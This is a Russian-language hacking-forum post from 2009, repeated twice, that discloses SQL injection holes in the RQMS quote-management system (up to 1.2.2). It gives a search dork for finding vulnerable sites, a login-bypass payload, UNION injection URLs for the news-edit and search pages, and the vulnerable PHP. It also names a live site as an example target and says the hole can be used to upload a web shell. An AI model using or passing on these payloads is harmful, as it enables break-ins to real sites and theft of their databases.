Dimi4
04.01.2009, 18:13
Уязвимости RQMS
RQMS - Rash Quote Management System
Достаточно популяный движок цитатника. Главная слабость - обход авторизации при админке (
URL: http://rqms.sourceforge.net
Version: <=1.2.2
Founded by: Dimi4
Dork:: "Rash Version: 1.2.1"
Обход авторизации
Need: magic_quotes_gpc = OFF
http://127.0.0.1/rash-v1.2.2/?admin
Вместо логина вводим:
' OR 1=1/*
Уязвимый код:
case 'adminlogin':
include('config.php');
$sql = "SELECT * FROM `" . $rashusers . "` WHERE `user` ='" . $_POST['user'] . "' AND `password` ='" . md5($_POST['password']) . "'";
while($row = mysql_fetch_array(database_connect($sql))){
$section='0';
//setting cookies
adminpanel(); // (template)_admin.php in templates folder by default
exit();
}
Пример:http://nocude.maisum.net/?admin
Sql-inj
Need: magic_quotes_gpc = OFF, admin user
http://127.0.0.1/rash-v1.2.2/?news_edit&id=4'+union+select+1,concat_ws(0x3a,version(),user (),database()),3/*
Можно заюзать для заливки шелла(если file_priv = Y)
Уязвимый код:
(function content(), index.php)
include('config.php');
$nID = $_GET['id'];
$sql = "SELECT * FROM `" . $newstable . "` WHERE `id` = '" . $nID . "'";
news_change($sql); // output.php
Sql-inj in Search
Need: magic_quotes_gpc = OFF,
Идем в http://127.0.0.1/VULN/rash-v1.2.2/?search
Вместо фразы тыкаем:
' union select database(),version(),user(),4,5,6/*
Уязвимый код:
$quote = $_POST['search'];
$sortby = $_POST['sortby'];
$number = $_POST['number'];
if($sortby == 'rating'){
$how = 'desc';
}
if($sortby == 'id'){
$how = 'asc';
}
$sql = "SELECT * FROM `" . $quotetable . "` WHERE `quote` LIKE '%" . $quote . "%' ORDER BY `" . $sortby . "` " . $how . " LIMIT " . $number;
quote_format($sql, 0); // output.php
RQMS - Rash Quote Management System
Достаточно популяный движок цитатника. Главная слабость - обход авторизации при админке (
URL: http://rqms.sourceforge.net
Version: <=1.2.2
Founded by: Dimi4
Dork:: "Rash Version: 1.2.1"
Обход авторизации
Need: magic_quotes_gpc = OFF
http://127.0.0.1/rash-v1.2.2/?admin
Вместо логина вводим:
' OR 1=1/*
Уязвимый код:
case 'adminlogin':
include('config.php');
$sql = "SELECT * FROM `" . $rashusers . "` WHERE `user` ='" . $_POST['user'] . "' AND `password` ='" . md5($_POST['password']) . "'";
while($row = mysql_fetch_array(database_connect($sql))){
$section='0';
//setting cookies
adminpanel(); // (template)_admin.php in templates folder by default
exit();
}
Пример:http://nocude.maisum.net/?admin
Sql-inj
Need: magic_quotes_gpc = OFF, admin user
http://127.0.0.1/rash-v1.2.2/?news_edit&id=4'+union+select+1,concat_ws(0x3a,version(),user (),database()),3/*
Можно заюзать для заливки шелла(если file_priv = Y)
Уязвимый код:
(function content(), index.php)
include('config.php');
$nID = $_GET['id'];
$sql = "SELECT * FROM `" . $newstable . "` WHERE `id` = '" . $nID . "'";
news_change($sql); // output.php
Sql-inj in Search
Need: magic_quotes_gpc = OFF,
Идем в http://127.0.0.1/VULN/rash-v1.2.2/?search
Вместо фразы тыкаем:
' union select database(),version(),user(),4,5,6/*
Уязвимый код:
$quote = $_POST['search'];
$sortby = $_POST['sortby'];
$number = $_POST['number'];
if($sortby == 'rating'){
$how = 'desc';
}
if($sortby == 'id'){
$how = 'asc';
}
$sql = "SELECT * FROM `" . $quotetable . "` WHERE `quote` LIKE '%" . $quote . "%' ORDER BY `" . $sortby . "` " . $how . " LIMIT " . $number;
quote_format($sql, 0); // output.php